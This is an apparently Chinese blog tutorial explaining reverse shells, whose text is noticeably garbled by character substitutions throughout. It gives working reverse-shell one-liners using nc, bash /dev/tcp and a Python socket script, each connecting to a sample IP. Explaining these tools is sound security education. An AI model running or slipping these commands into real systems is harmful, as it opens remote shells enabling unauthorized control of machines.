关于shell:什么是反弹-Shell

36次阅读

共计 2060 个字符,预计需要花费 6 分钟才能阅读完成。

前段时间被一位产品经理讥笑了,说我竟然连反弹 Shell 都不晓得!

说实话过后我还真不知道,但这口气咽不下去啊,得连忙学来看看,这不,我曾经学会了!

学完之后我特地来记录下,同时分享给大家,当前产品经理再也不敢讥笑咱们不懂反弹 Shell 了!

什么是反弹 Shell

咱们都晓得 Shell 的概念吧,简略来说,Shell 就是实现用户命令的接口,通过这个接口咱们就能实现对计算机的管制,比方咱们常见的 ssh 就是执行的 Shell 命令实现对近程对服务器的管制。

那反弹 Shell 是啥呢?其英文名叫做 Reverse Shell,具体干什么的呢?就是管制端首先监听某个 TCP/UDP 端口,而后被管制端向这个端口发动一个申请,同时将本人命令行的输入输出转移到管制端,从而管制端就能够输出命令来管制被控端了。

比如说,咱们有两台主机 A、B,咱们最终想实现在 A 上管制 B。那么如果用正向 Shell,其实就是在 A 上输出 B 的连贯地址,比方通过 ssh 连贯到 B,连贯胜利之后,咱们就能够在 A 上通过命令管制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,而后让 B 去连贯 A 的这个端口,连贯胜利之后,A 这边就能通过命令管制 B 了。

反弹 Shell 有什么用?

还是原来的例子,咱们想用 A 来管制 B,如果想用 ssh 等命令来管制,那得输出 B 的 sshd 地址或者端口对吧?然而在很多状况下,因为防火墙、平安组、局域网、NAT 等起因,咱们实际上是无奈间接连贯到 B 的,比方:

  • A 尽管有公网 IP,但 B 是一个处于内网的机器,A 就没法间接连到 B 上。
  • B 上开了防火墙或者平安组限度,sshd 的服务端口 22 被关闭了。
  • B 是一台拨号主机,其 IP 地址常常变动。
  • 如果 B 被攻打了,咱们想让 B 向 A 汇报本人的情况,那天然就须要 B 被动去连贯 A。

如果是这些状况,咱们就能够用反弹 Shell 用 A 来管制 B 了。

反弹 Shell 案例

首先咱们先看一个规范的反弹 Shell 的例子,这里咱们一共须要两台主机:

  • A 是管制端,能够处于公网之中,也能够和 B 处于一个局域网中,总之能让 B 找到 A 就行。
  • B 是被控端,能够处在局域网之中。

在开始之前咱们须要用到 nc 命令,装置非常简单。

如果是 CentOS 系列零碎,装置命令如下:

yum install -y nc # CentOS

接着,咱们在 A 上执行如下命令:

nc -lvp 32767

这个命令的意思是开启 32767 的端口监听,运行之后如图所示:

这样就表明 A 上正在监听 32767 端口的连贯了。

这时候,咱们能够在 B 上通过相似的命令连贯到 A,如果 A 的 IP 是 111.112.113.114,那么命令如下:

nc 111.112.113.114 32767 -e /bin/bash

留神:你在运行的时候须要替换成 A 的实在 IP 和端口。

运行结束之后,咱们反过来察看下 A,就显示了来自某个 IP 和端口的连贯,咱们就能够输出命令来管制 B 了,比方这里咱们输出了:

uname -a

而后就能够失去 B 的主机名了。

如图所示:

这样咱们就通过 nc 包实现了反弹 Shell。

有人说,这 B 上肯定须要装置 nc 这个包吗?其实不肯定的,咱们能够间接应用 bash 来实现反弹 Shell,命令如下:

bash -i >& /dev/tcp/111.112.113.114/32767 0>&1

这个命令大抵解释下:

  • bash -i 就是产生一个 bash 交互环境
  • >& 能够将 bash 交互环境的输出、输入、谬误输入都输入到一个中央
  • /dev/tcp/111.112.113.114/32767 其实指的就是指标主机的一个连贯地址,因为 Linux 环境中所有内容的定义都是以文件的模式存在的,指定这个地址就是让主机和指标主机建设一个 TCP 连贯。
  • 0>&1 能够将规范输出和规范输入相结合,重定向给后面规范输入的内容。

通过这样的命令,咱们就能够就是将 B 的规范输入和谬误输入都重定向给 A,并且将 A 的输出都重定向给 B,这样咱们就能够实现 A 对 B 的近程管制了,如图所示:

比方这样咱们就能够轻松在 A 主机上拿到 B 主机的主机名、以后所处门路等内容了。

另外除了用 bash,咱们还能够利用 Python 进行反弹 Shell,脚本如下:

python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("111.112.113.114",32767));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

能够达到同样反弹 Shell 的成果,即能够用 A 来管制 B。

总结

以上就是反弹 Shell 的介绍,灵活运用反弹 Shell 能够大大便当某些场景下的近程管制,心愿对大家有帮忙。

以上就是本次分享的所有内容,如果你感觉文章还不错,欢送关注公众号:Python 编程学习圈 ,每日干货分享,发送“J”还可支付大量学习材料。或是返回编程学习网,理解更多编程技术常识。

正文完
 0